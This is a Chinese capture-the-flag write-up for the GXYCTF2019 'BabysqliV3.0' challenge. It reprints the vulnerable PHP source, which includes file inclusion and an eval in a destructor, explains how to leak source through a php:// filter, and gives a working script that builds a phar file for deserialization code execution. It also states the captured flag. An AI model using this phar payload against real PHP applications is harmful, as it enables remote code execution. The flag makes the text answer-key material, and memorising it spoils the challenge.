获得flag{fdb7aa36-b9de-4313-88e5-ee627acb6f32}
[GXYCTF2019]BabysqliV3.0
输入admin password登录
url后面传入的 是file=upload 利用伪协议对upload进行编码得到源码
home.php
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
upload.php
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
利用file-fte-contents函数读取文件
file_get_contents()
使 $uploader
通过__toString()
返回 $this->Filename
,$this->Filename
可控,因此此处 $this->Filename
用来触发 phar,__destruct()
方法内 eval($this->cmd);
进行 RCE
__destruct()
方法中,想要 eval($this->cmd);
的前提条件是 $this->token
和 $_SESSION['user']
相等
再看__construct()
方法,当我们不传name参数的时候,会将$this->Filename
赋值为包含$_SESSION['user']
值的文件名,因此我们可以先随便上传一个txt,在返回的目录中得到$_SESSION['user']
的值。
构造phar文件
<?php
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$a = new Uploader();
$a->Filename="test";
$a->cmd="highlight_file('/var/www/html/flag.php');";
$a->token="GXYe7d02718b005eb627b96152329758509";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
将生成的phar文件上传 得到路径
phar伪协议+路径上传 抓包
得到flag